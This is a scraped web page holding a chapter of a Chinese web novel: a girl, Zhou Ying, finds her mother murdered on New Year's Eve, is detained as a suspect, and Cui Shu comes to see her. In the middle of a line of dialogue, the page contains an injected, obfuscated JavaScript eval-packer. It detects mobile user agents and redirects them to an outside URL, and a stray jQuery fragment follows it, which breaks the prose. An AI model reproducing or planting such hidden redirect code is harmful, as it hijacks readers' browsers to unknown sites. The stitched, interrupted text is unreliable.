默认冷灰
24号文字
方正启体

14. 郊野冻草(二)

作者:林叙然本书字数:K更新时间:
    四周忽然清静下来,周缨仿佛神魂抽离,塑像一般被冻在原地,丁点动静都无。


    半刻过后,风扬碎雪,劈头盖脸地砸了一身,才令她终于清醒过来,挣扎着往篱笆栏挪去。


    四肢被缚,行动迟缓,身下积雪逐渐融化,满地泥泞蹭到身上,脏污满身,她却浑然不觉,眼中再无他物,只挣扎着向杜氏爬去。


    不远的距离,她耗费了足足一刻有余,才终于抵达。


    杜氏心口的血尚还是温热的,点点滴滴坠下,溅到她脸上,迷了双眼。


    “阿娘。”她彷徨而无助地呼唤,声音渐低。


    直至身子都要被冻僵时,院外传来一阵混乱的脚步声。


    杨成夫妇扭着方才逃跑的杨固过来,一见这副景象,心中惊骇不已,半晌才回过神来。


    杨成一拳将人撂倒在地:“我就说你这杂碎鬼鬼祟祟的,准没好事,是你干的?”


    “不是我,不是我!”杨固抱头鼠窜。


    杨成转头看向瑟缩作一团的周缨,连唤了几声“阿缨”。见她已意识模糊,不曾出声回应,遂一把揪住罪魁祸首的衣领,拳头狠狠砸了下去,拳拳到肉,揍得杨固嗷嗷直叫,面目全非,直像滩烂泥似的瘫软在地,奄奄一息,怒气才稍稍平息了一点。


    林氏将已经冻晕的周缨拥入怀中,解开绳子抱进室内,提来一壶还未冷尽的温水倒至盆中,替她擦洗身子,好助她尽快恢复体温。


    外头吵吵闹闹人声鼎沸,原是杨固奔逃过程中路过五里坪,恰巧撞上出来放炮迎新的杨成,二人寒暄了几句。见他满身带血神色慌张,又是从周缨家这个方向过来的,因素知他们两家人不对付,杨成便留了个心眼,多问了几句。谁知杨固心中有鬼,二话不说便与他扭打起来,不期惊动了附近乡邻。


    于是村民纷纷披衣穿靴跟过来,此时见着院中的惨状,纷纷闹嚷起来,有扬声逼问被揍了个半死的杨固真相的,有要没见着影儿的周缨出去解释的,吵吵嚷嚷没个消停。


    林氏忍无可忍,“砰”地推开厨房门,站至檐下,叉腰一吼:“吵什么吵,大过年的,出了命案愿意去报官的就去报官,不想帮忙的就赶紧回家过年,存心在这儿碎嘴子看什么热闹,欺负人家只剩下个孤女是不是?”


    “林婶儿,话也不是这么说。”不知哪个后生小声嘀咕了一句,被素有威信的长辈扬声喝住,只好收了腔。


    其余人等陆续住了声,族老站出来主持事宜,安排几个稳重的中年人连夜结伴去报官,另安排剩余人手将院中圈围起来,轮流值守,不让人畜靠近分毫。


    -


    周缨睁眼时,天际已露出青白色的一线。


    帐幔洗得发白,天光与雪光透过薄薄的苎麻布料洒进来,落在她身上。


    窗外大雪折枝,簌簌洒落一院白。


    她抱膝坐在这张年岁与她相近的架子床上,心里忽然就空了一块。


    院中静谧,偶尔传进来一串杂乱的脚步声,间杂着几句含糊不清的人声。


    枯坐了片刻,她起身往外走去。


    林氏恰从外间拿着一篓子炭进来,见她起了身,惊喜道:“老五家媳妇儿说你冻得厉害,恐怕还要好些时辰才能醒过来,我才说再给你添些炭,果然她这半吊子郎中不靠谱。”


    “多谢林婶儿,劳烦了。”周缨礼貌客套地冲她说完这话,甚至还抿出了一个淡淡的笑。


    林氏心中暗惊,直觉不妙,一时犹疑着顿在原地不敢上前,直到周缨从跟前走过,才猛地将手中竹篓放至一侧柜上,从后抱住了她,恳求道:“阿缨,别去。”


    “婶儿,那是我娘。”周缨试图推开她。


    林氏悲从中来,带了哭腔:“那是个苦命人儿,官府的人刚到,仵作……仵作正准备验尸呢,你不要去,太惨了,不要看。”


    “没事。”周缨将她扣在自个儿臂上的手指一一掰开,淡声说,“让我去送送。”


    林氏让开道,注视着她虚乏无力的背影,终于忍不住落了泪。


    院中已被官差接手,年夜里出了这样一起耸人听闻的大命案,被从老婆孩子热炕头的美梦中拉出来,前往这穷乡僻壤查案,各个心里都憋着一股怨气,行事说话全无客气,冷硬地遣散村民,只留下了相关人等听候差遣。


    檐下简单搭了一张草席,杜氏就孤零零地躺在上头,盖着一张麻布,仵作伏在她身上验看伤势。


    周缨在卧房门口远远看着,目光悲戚地落在她身上。


    林氏站在后方,担忧地看着周缨的背影。


    小半炷香后,仵作勘验完致命伤,暂作歇息。


    周缨走上前,停在草席面前,紧抿双唇,探手将杜氏未曾瞑目的双眼阖上。


    一个壮实身躯蓦地停在跟前,遮住了视线。周缨抬头看去,是先前曾来过的那名唤作老金的衙役,冷静地唤了声:“官爷。”


    “没吓傻?”老金上下打量了她一眼,“命案发生时,只你母女二人和杨固夫妇在场?”


    周缨点头。


    “行。”老金招手唤手下过来,“看好了,一会儿一并收押,再行问话。”


    林氏听得此言,忙制止道:“官爷,咱们阿缨身上又没背人命,大过年的,哪有将人直接收监的道理?再说,她娘这样,她是独女,得替亡人安葬送行。”


    老金眼神犀利地盯她一眼:“你也知道是大过年的,官府不受理词讼,若非是命案,我们兄弟才刚返程回县里几日,谁愿意又来受这趟罪。再说杨固一口咬定这命案她也有份,她有没有嫌疑还不好说,只能先行羁押,等开衙再审。结案之前,尸体亦不得下葬,需存放在义庄。”


    林氏还要再辩,老金又道:“你别急着替她开脱,据村民的供词,是你们夫妇二人最先发现这起命案,一样跑不掉,等会儿一同回去等着问话。”


    缄默已久的周缨出了声:“与他们无关,官爷大可去向杨固求证,当时的确只有我们四人在场,没有旁人。”


    “官府办案,岂容你一介小民插嘴。”老金喝住她,吩咐将她和林氏分开押去耳房和卧房。


    晌午过后,现场勘验完毕,周缨等人被带往平山县衙,分监关押。


    -


    值此除夕夜,崔述一行将将赶到沧州,稍作休整,便着手处理此行要务。


    初十当晚,事情尚无太大进展,崔述仍吩咐束关尽早返程回平山县,束关不肯,崔述只说:“万一她急着动身,你此时回去正


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418878|168934||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好赶上。”


    束关坚持:“就算十六开衙,至快也要十七才能动身,快马回去只需三日,我多留几日,多少能帮着分担一些。”


    “无妨。”崔述视线落在手中收集来的密信上,思绪却已如碎云游走,“你先回去候着,若官府那头有所迁延,伺机助助。”


    知他素来令出不改的秉性,束关只得领命返程,一路快马,十三那日上午回到周缨住所,却见官府封戒,此间主人已无踪迹,只留两名衙役看守,只得四下打听,而后简短修书传往沧州,并暗中安置下来,一边窥探事情始末,一边等待回信。


    崔述于十九入夜之时赶至平山县,细问缘由进展,束关回禀道:“虽只两人丧命,但因两家人的亲缘关系,影响恶劣,也算是平山县难得一遇的大命案。不过知县却还稳得住,遵循年末不理刑名的旧例,生生拖到十六才开衙,简单问了几句当日情况录了口供,就退了堂说择日再审,现下人已在牢里关了快二十日了。”


    “为何仓促停审?”


    “我瞧这知县虽昏庸,但手底下有几位刑名师爷和捕快倒还算精明,现场查出不少蛛丝马迹,和她大伯父杨固在堂上所攀咬的出入甚大,故暂时停止问案退了堂。”


    “如何攀咬?”


    “他妻子丧了命,据那姑娘的证词,他自个儿身上也背着条人命,想是狗急跳墙,非要将他妻子的死说成是那姑娘所为。郎君也知地方断案,时常断的就是糊涂案,反正当日就他们四人在场,另两人已没了命,若这厮继续胡乱攀咬,还真可能牵连到周缨姑娘。”


    “周缨?”


    “郎君不知此女名姓?”束关微怔。


    那日押解路上曾听差役交谈间说起崖下便是杨家坪,何况她伯父也是此姓,他自然以为她亦姓杨,老实道:“确实不知。”


    束关至此方知,虽郎君特地派他前来护送此女,但这二人是真不算熟悉,只好详说:“这姑娘是甲辰年正月生人,现今才将将满十五岁,一介孤弱,逢此家变,却还算冷静,公堂之上将那晚的情形说得一清二楚,不曾露怯。”


    “正月?”


    “对,堂审录信息时所供,确是前几日生辰。”


    崔述迟疑片刻,问:“她如今情形如何?”


    “我设法去探过两次,先入狱时病得厉害,狱卒怕出人命,开了些药吊着一口气,好在撑过来了。”


    “情绪如何?方寸乱否?”


    “瞧着倒还好,分开收的监,无人与之交谈,就一直盯着屋顶,不哭闹,也不吵嚷,就一个人闷闷地坐着,安静极了。”


    崔述沉默不语。


    束关观他神色,试探问道:“可要帮忙料理?事涉官府,咱们如今身份尴尬,我不敢私拿主意,只得等您回信再作决断,不想您亲自过来了。”


    “既心神未溃,想必不会坐以待毙。”崔述思量片刻,道,“且给她三日,看她如何自处。”


    “可沧州事急,您不便在此久留,还请您拿定主意早些返程,我留下照办即可。”


    崔述抬手,阻了他的话,他只得缄口,自去安排一应住宿安置事宜。


    “等等。”崔述负手站在原处片刻,忽道,“安排一下,我去探探她。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)